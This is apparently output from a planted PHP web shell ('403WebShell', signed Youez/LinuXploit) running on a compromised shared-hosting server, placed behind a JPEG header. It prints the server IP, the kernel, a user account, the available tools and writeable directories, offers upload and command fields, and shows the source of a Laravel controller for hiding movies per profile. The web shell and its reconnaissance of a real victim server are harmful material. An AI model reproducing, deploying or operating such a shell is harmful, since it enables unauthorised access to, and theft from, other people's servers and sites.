����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.145.109.97
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/HideForMeController.php
<?php

namespace App\Http\Controllers;

use App\Config;
use App\HideForMe;
use App\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;


class HideForMeController extends Controller
{
 
    public function store(Request $request){
     
      $userid= auth()->user()->id;
      $profile =getprofile(); 
      $dataProfile [] =  $profile;

      $exists = HideForMe::where('user_id',$userid)->where('type',$request->type)->where('movie_id',$request->id)->orwhere('season_id',$request->id)->first();
      
      if(isset($exists)){
       
        if(is_array($exists->profile)){
         
          $marks = $exists->profile;
          if(in_array($profile,$marks)){
            if(count($marks) > 1){
            
              $array_search_value = array_search($profile,$marks);
              unset($marks[$array_search_value]);
  
              $marks = array_values($marks);
              $exists->profile = $marks;
              $exists->save();
            }else{
            
              $exists->delete();
            }
           
          }else{

            $exists->profile = array_merge($dataProfile,$marks);
            $exists->save();
          }
          
         
          return response()->json(['msg' => 'Data updated hide successfully !']);
        }else{
          
          $exists->profile = $dataProfile;
          $exists->save();
          return response()->json(['msg' => 'Data hide successfully !']);
        }
      
       
      }
      else{
        if($request->type == 'M'){
          $movieid = $request->id;
          $season_id = NULL;
        }else{
          $movieid = NULL;
          $season_id =$request->id;
        }
      
        $data = HideForMe::create([
              'user_id' => $userid,
              'type' => $request->type,
              'movie_id'=>$movieid,
              'season_id' => $season_id,
              'profile' => $dataProfile,
              'created_at' => date('Y-m-d h:i:s'),
              'updated_at' => date('Y-m-d h:i:s'),
          
            ]);

        if(isset($data)){
          return response()->json(['msg' => 'Data hide successfully !']);
        }else{
         return response()->json(['msg' => 'error']);
        }
      }
    }

    public function show(){
      $hideData = HideForMe::where('user_id',auth()->user()->id)->whereJsonContains('profile',getprofile())->get();
      
      $age = 0;
      $config = Config::first();
      if ($config->age_restriction == 1) {
          if (Auth::user()) {
              $user_id = Auth::user()->id;
              $user = User::findOrfail($user_id);
              $age = $user->age;
          }

      } else {
          $age = 100;
      }
      return view('user.hidedata',compact('hideData','age'));
    }
 
}

Youez - 2016 - github.com/yon3zu
LinuXploit